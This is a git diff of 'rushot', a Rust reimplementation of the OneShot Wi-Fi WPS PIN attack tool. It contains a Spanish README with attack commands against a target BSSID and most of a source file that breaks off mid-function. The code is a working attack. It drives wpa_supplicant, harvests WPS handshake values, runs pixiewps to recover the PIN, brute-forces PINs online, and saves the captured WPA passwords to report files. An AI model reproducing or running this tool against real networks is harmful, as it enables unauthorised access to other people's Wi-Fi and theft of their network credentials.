||||||
|
name = "windows_i686_msvc"
|
||||||
|
version = "0.52.6"
|
||||||
|
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||||
|
checksum = "240948bc05c5e7c6dabba28bf89d89ffce3e303022809e73deaefe4f6ec56c66"
|
||||||
|
|
||||||
|
[[package]]
|
||||||
|
name = "windows_x86_64_gnu"
|
||||||
|
version = "0.52.6"
|
||||||
|
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||||
|
checksum = "147a5c80aabfbf0c7d901cb5895d1de30ef2907eb21fbbab29ca94c5b08b1a78"
|
||||||
|
|
||||||
|
[[package]]
|
||||||
|
name = "windows_x86_64_gnullvm"
|
||||||
|
version = "0.52.6"
|
||||||
|
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||||
|
checksum = "24d5b23dc417412679681396f2b49f3de8c1473deb516bd34410872eff51ed0d"
|
||||||
|
|
||||||
|
[[package]]
|
||||||
|
name = "windows_x86_64_msvc"
|
||||||
|
version = "0.52.6"
|
||||||
|
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||||
|
checksum = "589f6da84c646204747d1270a2a5661ea66ed1cced2631d546fdfb155959f9ec"
|
||||||
15
Cargo.toml
Normal file
15
Cargo.toml
Normal file
|
|
@ -0,0 +1,15 @@
|
||||||
|
[package]
|
||||||
|
name = "rushot"
|
||||||
|
version = "0.1.0"
|
||||||
|
edition = "2021"
|
||||||
|
authors = ["JesusChapman"]
|
||||||
|
description = "Wi-Fi WPA WPS PIN attack tool in Rust"
|
||||||
|
|
||||||
|
[dependencies]
|
||||||
|
clap = { version = "4.4", features = ["derive"] }
|
||||||
|
regex = "1.10"
|
||||||
|
unicode-width = "0.1"
|
||||||
|
chrono = "0.4"
|
||||||
|
colored = "2.0"
|
||||||
|
libc = "0.2"
|
||||||
|
tempfile = "3.8"
|
||||||
95
README.md
95
README.md
|
|
@ -1,3 +1,96 @@
|
||||||
# rushot
|
# rushot
|
||||||
|
|
||||||
A WPS pin dumper written in rust, bases on OneShot
|
**rushot** es una reimplementación en **Rust** de la herramienta de ataque Wi-Fi WPA WPS PIN y escáner de redes WPS (*OneShot*). Diseñada para ofrecer máxima velocidad, eficiencia de memoria y ejecuciones seguras a bajo nivel.
|
||||||
|
|
||||||
|
**Autor:** JesusChapman
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
## 🚀 Características
|
||||||
|
|
||||||
|
- **Escaneo WPS Inteligente:** Interacción dinámica con `iw dev <interface> scan`, formateo con ancho de caracteres Unicode (`unicode-width`) y resaltado de color ANSI (redes vulnerables, bloqueadas y guardadas).
|
||||||
|
- **Algoritmos de PIN WPS** Generación automática de PINs según la dirección MAC (24-bit, 28-bit, 32-bit, D-Link, D-Link+1, ASUS, Airocon y PINs estáticos predefinidos).
|
||||||
|
- **Ataque Pixie Dust:** Integración directa con `pixiewps` para la captura de credenciales y extracción de la clave WPA PSK.
|
||||||
|
- **Ataque Bruteforce Online:** Algoritmo inteligente por fases (primera y segunda mitad de PIN) con cálculo de velocidad (segundos por PIN) y persistencia de sesión.
|
||||||
|
- **Conexión PBC (Push Button Connect):** Soporte para emparejamiento por botón WPS.
|
||||||
|
- **Persistencia de Resultados:** Guardado automático de credenciales obtenidas en `reports/stored.txt` y `reports/stored.csv`.
|
||||||
|
- **Soporte MediaTek:** Opción `--mtk-wifi` para activar el controlador en dispositivos MediaTek (`/dev/wmtWifi`).
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
## 📋 Requisitos
|
||||||
|
|
||||||
|
- **Permisos de Superusuario (Root):** Requerido para manipular la interfaz de red e interactuar con sockets Unix de `wpa_supplicant`.
|
||||||
|
- **Herramientas del Sistema:**
|
||||||
|
- `wpa_supplicant` (compilado con soporte WPS `CONFIG_WPS=y`)
|
||||||
|
- `iw` y `iproute2` (`ip`)
|
||||||
|
- `pixiewps` *(opcional, necesario únicamente para el ataque Pixie Dust `-K`)*
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
## 🛠️ Compilación e Instalación
|
||||||
|
|
||||||
|
```bash
|
||||||
|
git clone https://github.com/JesusChapman/rushot.git
|
||||||
|
cd rushot
|
||||||
|
cargo build --release
|
||||||
|
```
|
||||||
|
|
||||||
|
El binario compilado estará ubicado en `target/release/rushot`.
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
## 💻 Uso
|
||||||
|
|
||||||
|
```text
|
||||||
|
rushot 0.1.0
|
||||||
|
Autor: JesusChapman
|
||||||
|
Wi-Fi WPA WPS PIN attack and scanning tool in Rust
|
||||||
|
|
||||||
|
Uso: rushot -i <INTERFAZ> [OPCIONES]
|
||||||
|
```
|
||||||
|
|
||||||
|
### Argumentos Principales:
|
||||||
|
|
||||||
|
| Argumento | Descripción |
|
||||||
|
| :--- | :--- |
|
||||||
|
| `-i, --interface <wlan0>` | Nombre de la interfaz de red inalámbrica *(requerido)* |
|
||||||
|
| `-b, --bssid <mac>` | BSSID del punto de acceso objetivo |
|
||||||
|
| `-p, --pin <wps_pin>` | Especifica un PIN manual (4 u 8 dígitos) |
|
||||||
|
| `-K, --pixie-dust` | Ejecuta el ataque Pixie Dust |
|
||||||
|
| `-F, --pixie-force` | Ejecuta `pixiewps` con la opción `--force` |
|
||||||
|
| `-X, --show-pixie-cmd` | Muestra el comando de `pixiewps` ejecutado |
|
||||||
|
| `-B, --bruteforce` | Ejecuta ataque de fuerza bruta online |
|
||||||
|
| `--pbc` | Inicia conexión WPS por botón |
|
||||||
|
| `-d, --delay <n>` | Retardo entre intentos de PIN (segundos) |
|
||||||
|
| `-w, --write` | Guarda las credenciales obtenidas en `reports/` |
|
||||||
|
| `--iface-down` | Desactiva la interfaz al finalizar |
|
||||||
|
| `-l, --loop` | Modo en bucle continuo |
|
||||||
|
| `-r, --reverse-scan` | Invierte el orden de las redes en la lista mostrada |
|
||||||
|
| `--mtk-wifi` | Activa/desactiva controlador Wi-Fi MediaTek |
|
||||||
|
| `-v, --verbose` | Salida detallada de depuración |
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
## 📌 Ejemplos
|
||||||
|
|
||||||
|
Escaneo interactivo de redes WPS en `wlan0`:
|
||||||
|
```bash
|
||||||
|
sudo rushot -i wlan0
|
||||||
|
```
|
||||||
|
|
||||||
|
Ataque Pixie Dust a un BSSID específico y guardado de resultados:
|
||||||
|
```bash
|
||||||
|
sudo rushot -i wlan0 -b 00:90:4C:C1:AC:21 -K -w
|
||||||
|
```
|
||||||
|
|
||||||
|
Ataque de fuerza bruta online con retardo de 2 segundos:
|
||||||
|
```bash
|
||||||
|
sudo rushot -i wlan0 -b 00:90:4C:C1:AC:21 -B -d 2.0
|
||||||
|
```
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
## 📄 Licencia
|
||||||
|
|
||||||
|
Este proyecto se distribuye balo licensia [GPL-3.0](./LICENSE)
|
||||||
|
|
|
||||||
891
src/companion.rs
Normal file
891
src/companion.rs
Normal file
|
|
@ -0,0 +1,891 @@
|
||||||
|
use crate::wpspin::WPSpin;
|
||||||
|
use chrono::Local;
|
||||||
|
use std::collections::VecDeque;
|
||||||
|
use std::fs::{self, File, OpenOptions};
|
||||||
|
use std::io::{self, BufRead, BufReader, Write};
|
||||||
|
use std::os::unix::net::UnixDatagram;
|
||||||
|
use std::path::PathBuf;
|
||||||
|
use std::process::{Child, Command, Stdio};
|
||||||
|
use std::thread;
|
||||||
|
use std::time::{Duration, Instant};
|
||||||
|
use tempfile::TempDir;
|
||||||
|
|
||||||
|
pub struct PixiewpsData {
|
||||||
|
pub pke: String,
|
||||||
|
pub pkr: String,
|
||||||
|
pub e_hash1: String,
|
||||||
|
pub e_hash2: String,
|
||||||
|
pub authkey: String,
|
||||||
|
pub e_nonce: String,
|
||||||
|
}
|
||||||
|
|
||||||
|
impl PixiewpsData {
|
||||||
|
pub fn new() -> Self {
|
||||||
|
Self {
|
||||||
|
pke: String::new(),
|
||||||
|
pkr: String::new(),
|
||||||
|
e_hash1: String::new(),
|
||||||
|
e_hash2: String::new(),
|
||||||
|
authkey: String::new(),
|
||||||
|
e_nonce: String::new(),
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
pub fn clear(&mut self) {
|
||||||
|
*self = Self::new();
|
||||||
|
}
|
||||||
|
|
||||||
|
pub fn got_all(&self) -> bool {
|
||||||
|
!self.pke.is_empty()
|
||||||
|
&& !self.pkr.is_empty()
|
||||||
|
&& !self.e_nonce.is_empty()
|
||||||
|
&& !self.authkey.is_empty()
|
||||||
|
&& !self.e_hash1.is_empty()
|
||||||
|
&& !self.e_hash2.is_empty()
|
||||||
|
}
|
||||||
|
|
||||||
|
pub fn get_pixie_cmd(&self, full_range: bool) -> String {
|
||||||
|
let mut cmd = format!(
|
||||||
|
"pixiewps --pke {} --pkr {} --e-hash1 {} --e-hash2 {} --authkey {} --e-nonce {}",
|
||||||
|
self.pke, self.pkr, self.e_hash1, self.e_hash2, self.authkey, self.e_nonce
|
||||||
|
);
|
||||||
|
if full_range {
|
||||||
|
cmd.push_str(" --force");
|
||||||
|
}
|
||||||
|
cmd
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
pub struct ConnectionStatus {
|
||||||
|
pub status: String,
|
||||||
|
pub last_m_message: u32,
|
||||||
|
pub essid: String,
|
||||||
|
pub wpa_psk: String,
|
||||||
|
pub bssid: String,
|
||||||
|
}
|
||||||
|
|
||||||
|
impl ConnectionStatus {
|
||||||
|
pub fn new() -> Self {
|
||||||
|
Self {
|
||||||
|
status: String::new(),
|
||||||
|
last_m_message: 0,
|
||||||
|
essid: String::new(),
|
||||||
|
wpa_psk: String::new(),
|
||||||
|
bssid: String::new(),
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
pub fn is_first_half_valid(&self) -> bool {
|
||||||
|
self.last_m_message > 5
|
||||||
|
}
|
||||||
|
|
||||||
|
pub fn clear(&mut self) {
|
||||||
|
*self = Self::new();
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
pub struct BruteforceStatus {
|
||||||
|
pub start_time: String,
|
||||||
|
pub mask: String,
|
||||||
|
pub last_attempt_time: Instant,
|
||||||
|
pub attempts_times: VecDeque<f64>,
|
||||||
|
pub counter: usize,
|
||||||
|
pub statistics_period: usize,
|
||||||
|
}
|
||||||
|
|
||||||
|
impl BruteforceStatus {
|
||||||
|
pub fn new() -> Self {
|
||||||
|
Self {
|
||||||
|
start_time: Local::now().format("%Y-%m-%d %H:%M:%S").to_string(),
|
||||||
|
mask: String::new(),
|
||||||
|
last_attempt_time: Instant::now(),
|
||||||
|
attempts_times: VecDeque::with_capacity(15),
|
||||||
|
counter: 0,
|
||||||
|
statistics_period: 5,
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
pub fn display_status(&self) {
|
||||||
|
if self.attempts_times.is_empty() {
|
||||||
|
return;
|
||||||
|
}
|
||||||
|
let sum: f64 = self.attempts_times.iter().sum();
|
||||||
|
let average_pin_time = sum / (self.attempts_times.len() as f64);
|
||||||
|
|
||||||
|
let percentage = if self.mask.len() == 4 {
|
||||||
|
self.mask.parse::<f64>().unwrap_or(0.0) / 11000.0 * 100.0
|
||||||
|
} else if self.mask.len() >= 7 {
|
||||||
|
let s_half = self.mask[4..].parse::<f64>().unwrap_or(0.0);
|
||||||
|
((10000.0 / 11000.0) + (s_half / 11000.0)) * 100.0
|
||||||
|
} else {
|
||||||
|
0.0
|
||||||
|
};
|
||||||
|
|
||||||
|
println!(
|
||||||
|
"[*] {:.2}% complete @ {} ({:.2} seconds/pin)",
|
||||||
|
percentage, self.start_time, average_pin_time
|
||||||
|
);
|
||||||
|
}
|
||||||
|
|
||||||
|
pub fn register_attempt(&mut self, mask: String) {
|
||||||
|
self.mask = mask;
|
||||||
|
self.counter += 1;
|
||||||
|
let now = Instant::now();
|
||||||
|
let elapsed = now.duration_since(self.last_attempt_time).as_secs_f64();
|
||||||
|
if self.attempts_times.len() >= 15 {
|
||||||
|
self.attempts_times.pop_front();
|
||||||
|
}
|
||||||
|
self.attempts_times.push_back(elapsed);
|
||||||
|
self.last_attempt_time = now;
|
||||||
|
|
||||||
|
if self.counter == self.statistics_period {
|
||||||
|
self.counter = 0;
|
||||||
|
self.display_status();
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
pub struct Companion {
|
||||||
|
pub interface: String,
|
||||||
|
pub save_result: bool,
|
||||||
|
pub print_debug: bool,
|
||||||
|
pub bssid: String,
|
||||||
|
pub last_pwr: String,
|
||||||
|
|
||||||
|
pub _tempdir: TempDir,
|
||||||
|
pub _tempconf: PathBuf,
|
||||||
|
pub wpas_ctrl_path: PathBuf,
|
||||||
|
pub res_socket_file: PathBuf,
|
||||||
|
pub retsock: UnixDatagram,
|
||||||
|
pub wpas: Child,
|
||||||
|
|
||||||
|
pub pixie_creds: PixiewpsData,
|
||||||
|
pub connection_status: ConnectionStatus,
|
||||||
|
pub bruteforce: Option<BruteforceStatus>,
|
||||||
|
|
||||||
|
pub sessions_dir: PathBuf,
|
||||||
|
pub pixiewps_dir: PathBuf,
|
||||||
|
pub reports_dir: PathBuf,
|
||||||
|
pub generator: WPSpin,
|
||||||
|
}
|
||||||
|
|
||||||
|
fn get_hex(line: &str) -> String {
|
||||||
|
let parts: Vec<&str> = line.splitn(4, ':').collect();
|
||||||
|
if parts.len() >= 3 {
|
||||||
|
parts[2].replace(' ', "").to_uppercase()
|
||||||
|
} else {
|
||||||
|
String::new()
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
fn parse_hex_to_string(hex: &str) -> String {
|
||||||
|
let mut bytes = Vec::new();
|
||||||
|
let chars: Vec<char> = hex.chars().collect();
|
||||||
|
for i in (0..chars.len()).step_by(2) {
|
||||||
|
if i + 1 < chars.len() {
|
||||||
|
let s: String = [chars[i], chars[i + 1]].iter().collect();
|
||||||
|
if let Ok(b) = u8::from_str_radix(&s, 16) {
|
||||||
|
bytes.push(b);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
String::from_utf8_lossy(&bytes).to_string()
|
||||||
|
}
|
||||||
|
|
||||||
|
impl Companion {
|
||||||
|
pub fn new(
|
||||||
|
interface: String,
|
||||||
|
save_result: bool,
|
||||||
|
print_debug: bool,
|
||||||
|
bssid: String,
|
||||||
|
) -> Result<Self, String> {
|
||||||
|
let tempdir = tempfile::tempdir().map_err(|e| e.to_string())?;
|
||||||
|
let tempconf = tempdir.path().join("wpa_supplicant.conf");
|
||||||
|
|
||||||
|
let conf_content = format!(
|
||||||
|
"ctrl_interface={}\nctrl_interface_group=root\nupdate_config=1\n",
|
||||||
|
tempdir.path().display()
|
||||||
|
);
|
||||||
|
fs::write(&tempconf, conf_content).map_err(|e| e.to_string())?;
|
||||||
|
|
||||||
|
let wpas_ctrl_path = tempdir.path().join(&interface);
|
||||||
|
|
||||||
|
println!("[*] Running wpa_supplicant…");
|
||||||
|
let cmd = format!(
|
||||||
|
"wpa_supplicant -K -d -Dnl80211,wext,hostapd,wired -i{} -c{}",
|
||||||
|
interface,
|
||||||
|
tempconf.display()
|
||||||
|
);
|
||||||
|
|
||||||
|
let wpas = Command::new("sh")
|
||||||
|
.arg("-c")
|
||||||
|
.arg(&cmd)
|
||||||
|
.stdout(Stdio::piped())
|
||||||
|
.stderr(Stdio::inherit())
|
||||||
|
.spawn()
|
||||||
|
.map_err(|e| format!("Failed to start wpa_supplicant: {}", e))?;
|
||||||
|
|
||||||
|
// Wait for control socket file to exist
|
||||||
|
let start = Instant::now();
|
||||||
|
while !wpas_ctrl_path.exists() {
|
||||||
|
thread::sleep(Duration::from_millis(100));
|
||||||
|
if start.elapsed() > Duration::from_secs(10) {
|
||||||
|
return Err("Timeout waiting for wpa_supplicant control interface".to_string());
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
let res_socket_file = tempfile::Builder::new()
|
||||||
|
.prefix("rushot_sock_")
|
||||||
|
.tempfile()
|
||||||
|
.map_err(|e| e.to_string())?
|
||||||
|
.path()
|
||||||
|
.to_path_buf();
|
||||||
|
// Remove tempfile so UnixDatagram bind succeeds
|
||||||
|
let _ = fs::remove_file(&res_socket_file);
|
||||||
|
|
||||||
|
let retsock = UnixDatagram::bind(&res_socket_file)
|
||||||
|
.map_err(|e| format!("Failed to bind datagram socket: {}", e))?;
|
||||||
|
|
||||||
|
let home_dir = std::env::var("HOME").unwrap_or_else(|_| "/root".to_string());
|
||||||
|
let home_path = PathBuf::from(home_dir);
|
||||||
|
let sessions_dir = home_path.join(".rushot/sessions/");
|
||||||
|
let pixiewps_dir = home_path.join(".rushot/pixiewps/");
|
||||||
|
let reports_dir = PathBuf::from("reports/");
|
||||||
|
|
||||||
|
fs::create_dir_all(&sessions_dir).ok();
|
||||||
|
fs::create_dir_all(&pixiewps_dir).ok();
|
||||||
|
|
||||||
|
Ok(Self {
|
||||||
|
interface,
|
||||||
|
save_result,
|
||||||
|
print_debug,
|
||||||
|
bssid,
|
||||||
|
last_pwr: "0".to_string(),
|
||||||
|
_tempdir: tempdir,
|
||||||
|
_tempconf: tempconf,
|
||||||
|
wpas_ctrl_path,
|
||||||
|
res_socket_file,
|
||||||
|
retsock,
|
||||||
|
wpas,
|
||||||
|
pixie_creds: PixiewpsData::new(),
|
||||||
|
connection_status: ConnectionStatus::new(),
|
||||||
|
bruteforce: None,
|
||||||
|
sessions_dir,
|
||||||
|
pixiewps_dir,
|
||||||
|
reports_dir,
|
||||||
|
generator: WPSpin::new(),
|
||||||
|
})
|
||||||
|
}
|
||||||
|
|
||||||
|
pub fn send_only(&self, command: &str) {
|
||||||
|
let _ = self.retsock.send_to(command.as_bytes(), &self.wpas_ctrl_path);
|
||||||
|
}
|
||||||
|
|
||||||
|
pub fn send_and_receive(&self, command: &str) -> String {
|
||||||
|
let _ = self.retsock.send_to(command.as_bytes(), &self.wpas_ctrl_path);
|
||||||
|
let mut buf = [0u8; 4096];
|
||||||
|
self.retsock.set_read_timeout(Some(Duration::from_secs(5))).ok();
|
||||||
|
match self.retsock.recv(&mut buf) {
|
||||||
|
Ok(n) => String::from_utf8_lossy(&buf[..n]).to_string(),
|
||||||
|
Err(_) => String::new(),
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
fn explain_wpas_not_ok_status(command: &str, respond: &str) -> &'static str {
|
||||||
|
if command.starts_with("WPS_REG") || command.starts_with("WPS_PBC") {
|
||||||
|
if respond.trim() == "UNKNOWN COMMAND" {
|
||||||
|
return "[!] It looks like your wpa_supplicant is compiled without WPS protocol support. Please build wpa_supplicant with WPS support (\"CONFIG_WPS=y\")";
|
||||||
|
}
|
||||||
|
}
|
||||||
|
"[!] Something went wrong — check out debug log"
|
||||||
|
}
|
||||||
|
|
||||||
|
fn print_with_indicators(&self, level: &str, msg: &str) {
|
||||||
|
println!("[{}] [{}] {}", level, self.last_pwr, msg);
|
||||||
|
}
|
||||||
|
|
||||||
|
fn handle_wpas_line(
|
||||||
|
&mut self,
|
||||||
|
line: &str,
|
||||||
|
pixiemode: bool,
|
||||||
|
pbc_mode: bool,
|
||||||
|
verbose: bool,
|
||||||
|
target_bssid: &str,
|
||||||
|
) {
|
||||||
|
let line = line.trim_end_matches('\n').trim_end_matches('\r');
|
||||||
|
|
||||||
|
if verbose {
|
||||||
|
eprintln!("{}", line);
|
||||||
|
}
|
||||||
|
|
||||||
|
if line.starts_with("WPS: ") {
|
||||||
|
if line.contains("Building Message M") {
|
||||||
|
if let Some(num_str) = line.split("Building Message M").nth(1) {
|
||||||
|
let cleaned = num_str.replace('D', "");
|
||||||
|
if let Ok(n) = cleaned.trim().parse::<u32>() {
|
||||||
|
self.connection_status.last_m_message = n;
|
||||||
|
self.print_with_indicators("*", &format!("Sending WPS Message M{}…", n));
|
||||||
|
}
|
||||||
|
}
|
||||||
|
} else if line.contains("Received M") {
|
||||||
|
if let Some(num_str) = line.split("Received M").nth(1) {
|
||||||
|
if let Ok(n) = num_str.trim().parse::<u32>() {
|
||||||
|
self.connection_status.last_m_message = n;
|
||||||
|
self.print_with_indicators("*", &format!("Received WPS Message M{}", n));
|
||||||
|
if n == 5 {
|
||||||
|
println!("[+] The first half of the PIN is valid");
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
} else if line.contains("Received WSC_NACK") {
|
||||||
|
self.connection_status.status = "WSC_NACK".to_string();
|
||||||
|
self.print_with_indicators("*", "Received WSC NACK");
|
||||||
|
println!("[-] Error: wrong PIN code");
|
||||||
|
} else if line.contains("Enrollee Nonce") && line.contains("hexdump") {
|
||||||
|
self.pixie_creds.e_nonce = get_hex(line);
|
||||||
|
if pixiemode {
|
||||||
|
println!("[P] E-Nonce: {}", self.pixie_creds.e_nonce);
|
||||||
|
}
|
||||||
|
} else if line.contains("DH own Public Key") && line.contains("hexdump") {
|
||||||
|
self.pixie_creds.pkr = get_hex(line);
|
||||||
|
if pixiemode {
|
||||||
|
println!("[P] PKR: {}", self.pixie_creds.pkr);
|
||||||
|
}
|
||||||
|
} else if line.contains("DH peer Public Key") && line.contains("hexdump") {
|
||||||
|
self.pixie_creds.pke = get_hex(line);
|
||||||
|
if pixiemode {
|
||||||
|
println!("[P] PKE: {}", self.pixie_creds.pke);
|
||||||
|
}
|
||||||
|
} else if line.contains("AuthKey") && line.contains("hexdump") {
|
||||||
|
self.pixie_creds.authkey = get_hex(line);
|
||||||
|
if pixiemode {
|
||||||
|
println!("[P] AuthKey: {}", self.pixie_creds.authkey);
|
||||||
|
}
|
||||||
|
} else if line.contains("E-Hash1") && line.contains("hexdump") {
|
||||||
|
self.pixie_creds.e_hash1 = get_hex(line);
|
||||||
|
if pixiemode {
|
||||||
|
println!("[P] E-Hash1: {}", self.pixie_creds.e_hash1);
|
||||||
|
}
|
||||||
|
} else if line.contains("E-Hash2") && line.contains("hexdump") {
|
||||||
|
self.pixie_creds.e_hash2 = get_hex(line);
|
||||||
|
if pixiemode {
|
||||||
|
println!("[P] E-Hash2: {}", self.pixie_creds.e_hash2);
|
||||||
|
}
|
||||||
|
} else if line.contains("Network Key") && line.contains("hexdump") {
|
||||||
|
self.connection_status.status = "GOT_PSK".to_string();
|
||||||
|
let hex_val = get_hex(line);
|
||||||
|
self.connection_status.wpa_psk = parse_hex_to_string(&hex_val);
|
||||||
|
}
|
||||||
|
} else if line.contains(": State: ") {
|
||||||
|
if line.contains("-> SCANNING") {
|
||||||
|
self.connection_status.status = "scanning".to_string();
|
||||||
|
self.print_with_indicators("*", "Scanning…");
|
||||||
|
}
|
||||||
|
} else if line.contains("WPS-FAIL") && !self.connection_status.status.is_empty() {
|
||||||
|
self.connection_status.status = "WPS_FAIL".to_string();
|
||||||
|
println!("[-] wpa_supplicant returned WPS-FAIL");
|
||||||
|
} else if line.contains("Trying to authenticate with") {
|
||||||
|
self.connection_status.status = "authenticating".to_string();
|
||||||
|
if line.contains("SSID") {
|
||||||
|
if let Some(ssid) = line.split("'").nth(1) {
|
||||||
|
self.connection_status.essid = ssid.to_string();
|
||||||
|
}
|
||||||
|
}
|
||||||
|
self.print_with_indicators("*", "Authenticating…");
|
||||||
|
} else if line.contains("Authentication response") {
|
||||||
|
self.print_with_indicators("*", "Authenticated");
|
||||||
|
} else if line.contains("Trying to associate with") {
|
||||||
|
self.connection_status.status = "associating".to_string();
|
||||||
|
if line.contains("SSID") {
|
||||||
|
if let Some(ssid) = line.split("'").nth(1) {
|
||||||
|
self.connection_status.essid = ssid.to_string();
|
||||||
|
}
|
||||||
|
}
|
||||||
|
self.print_with_indicators("*", "Associating with AP…");
|
||||||
|
} else if line.contains("Associated with") && line.contains(&self.interface) {
|
||||||
|
if let Some(bssid) = line.split_whitespace().last() {
|
||||||
|
let bssid_upper = bssid.to_uppercase();
|
||||||
|
if !self.connection_status.essid.is_empty() {
|
||||||
|
self.print_with_indicators(
|
||||||
|
"+",
|
||||||
|
&format!(
|
||||||
|
"Associated with {} (ESSID: {})",
|
||||||
|
bssid_upper, self.connection_status.essid
|
||||||
|
),
|
||||||
|
);
|
||||||
|
} else {
|
||||||
|
self.print_with_indicators("+", &format!("Associated with {}", bssid_upper));
|
||||||
|
}
|
||||||
|
}
|
||||||
|
} else if line.contains("EAPOL: txStart") {
|
||||||
|
self.connection_status.status = "eapol_start".to_string();
|
||||||
|
self.print_with_indicators("*", "Sending EAPOL Start…");
|
||||||
|
} else if line.contains("EAP entering state IDENTITY") {
|
||||||
|
self.print_with_indicators("*", "Received Identity Request");
|
||||||
|
} else if line.contains("using real identity") {
|
||||||
|
self.print_with_indicators("*", "Sending Identity Response…");
|
||||||
|
} else if !self.bssid.is_empty() && line.contains(&self.bssid) && line.contains("level=") {
|
||||||
|
if let Some(lvl) = line.split("level=").nth(1) {
|
||||||
|
if let Some(sig) = lvl.split_whitespace().next() {
|
||||||
|
self.last_pwr = sig.to_string();
|
||||||
|
}
|
||||||
|
}
|
||||||
|
} else if pbc_mode && line.contains("selected BSS ") {
|
||||||
|
if let Some(part) = line.split("selected BSS ").nth(1) {
|
||||||
|
if let Some(bssid) = part.split_whitespace().next() {
|
||||||
|
let bssid_upper = bssid.to_uppercase();
|
||||||
|
self.connection_status.bssid = bssid_upper.clone();
|
||||||
|
println!("[*] Selected AP: {}", bssid_upper);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
} else if !target_bssid.is_empty() && line.contains(target_bssid) && line.contains("level=")
|
||||||
|
{
|
||||||
|
if let Some(lvl) = line.split("level=").nth(1) {
|
||||||
|
if let Some(sig) = lvl.split_whitespace().next() {
|
||||||
|
if line.contains("noise=") {
|
||||||
|
if let Some(n) = line.split("noise=").nth(1) {
|
||||||
|
if let Some(noise) = n.split_whitespace().next() {
|
||||||
|
println!("[i] Current signal: {}, noise: {}", sig, noise);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
} else {
|
||||||
|
println!("[i] Current signal: {}", sig);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
fn run_pixiewps(&self, showcmd: bool, full_range: bool) -> Option<String> {
|
||||||
|
self.print_with_indicators("*", "Running Pixiewps…");
|
||||||
|
let cmd = self.pixie_creds.get_pixie_cmd(full_range);
|
||||||
|
if showcmd {
|
||||||
|
println!("{}", cmd);
|
||||||
|
}
|
||||||
|
|
||||||
|
let output = Command::new("sh").arg("-c").arg(&cmd).output();
|
||||||
|
let output = match output {
|
||||||
|
Ok(o) => o,
|
||||||
|
Err(e) => {
|
||||||
|
println!("[!] Error running pixiewps: {}", e);
|
||||||
|
return None;
|
||||||
|
}
|
||||||
|
};
|
||||||
|
|
||||||
|
let stdout = String::from_utf8_lossy(&output.stdout);
|
||||||
|
print!("{}", stdout);
|
||||||
|
|
||||||
|
if output.status.success() {
|
||||||
|
for line in stdout.lines() {
|
||||||
|
if line.contains("[+]") && line.contains("WPS pin") {
|
||||||
|
if let Some(pin_part) = line.split(':').last() {
|
||||||
|
let mut pin = pin_part.trim().to_string();
|
||||||
|
if pin == "<empty>" {
|
||||||
|
pin = "''".to_string();
|
||||||
|
}
|
||||||
|
return Some(pin);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
None
|
||||||
|
}
|
||||||
|
|
||||||
|
fn credential_print(&self, wps_pin: &str, wpa_psk: &str, essid: &str) {
|
||||||
|
println!("[+] WPS PIN: '{}'", wps_pin);
|
||||||
|
println!("[+] WPA PSK: '{}'", wpa_psk);
|
||||||
|
println!("[+] AP SSID: '{}'", essid);
|
||||||
|
}
|
||||||
|
|
||||||
|
fn save_result(&self, bssid: &str, essid: &str, wps_pin: &str, wpa_psk: &str) {
|
||||||
|
fs::create_dir_all(&self.reports_dir).ok();
|
||||||
|
let txt_filename = self.reports_dir.join("stored.txt");
|
||||||
|
let csv_filename = self.reports_dir.join("stored.csv");
|
||||||
|
let date_str = Local::now().format("%d.%m.%Y %H:%M").to_string();
|
||||||
|
|
||||||
|
if let Ok(mut file) = OpenOptions::new()
|
||||||
|
.create(true)
|
||||||
|
.append(true)
|
||||||
|
.open(&txt_filename)
|
||||||
|
{
|
||||||
|
let _ = writeln!(
|
||||||
|
file,
|
||||||
|
"{}\nBSSID: {}\nESSID: {}\nWPS PIN: {}\nWPA PSK: {}\n",
|
||||||
|
date_str, bssid, essid, wps_pin, wpa_psk
|
||||||
|
);
|
||||||
|
}
|
||||||
|
|
||||||
|
let write_header = !csv_filename.exists();
|
||||||
|
if let Ok(mut file) = OpenOptions::new()
|
||||||
|
.create(true)
|
||||||
|
.append(true)
|
||||||
|
.open(&csv_filename)
|
||||||
|
{
|
||||||
|
if write_header {
|
||||||
|
let _ = writeln!(file, "\"Date\";\"BSSID\";\"ESSID\";\"WPS PIN\";\"WPA PSK\"");
|
||||||
|
}
|
||||||
|
let _ = writeln!(
|
||||||
|
file,
|
||||||
|
"\"{}\";\"{}\";\"{}\";\"{}\";\"{}\"",
|
||||||
|
date_str, bssid, essid, wps_pin, wpa_psk
|
||||||
|
);
|
||||||
|
}
|
||||||
|
|
||||||
|
println!(
|
||||||
|
"[i] Credentials saved to {}, {}",
|
||||||
|
txt_filename.display(),
|
||||||
|
csv_filename.display()
|
||||||
|
);
|
||||||
|
}
|
||||||
|
|
||||||
|
fn save_pin(&self, bssid: &str, pin: &str) {
|
||||||
|
let clean_bssid = bssid.replace(':', "").to_uppercase();
|
||||||
|
let filename = self.pixiewps_dir.join(format!("{}.run", clean_bssid));
|
||||||
|
if let Ok(mut file) = File::create(&filename) {
|
||||||
|
let _ = writeln!(file, "{}", pin);
|
||||||
|
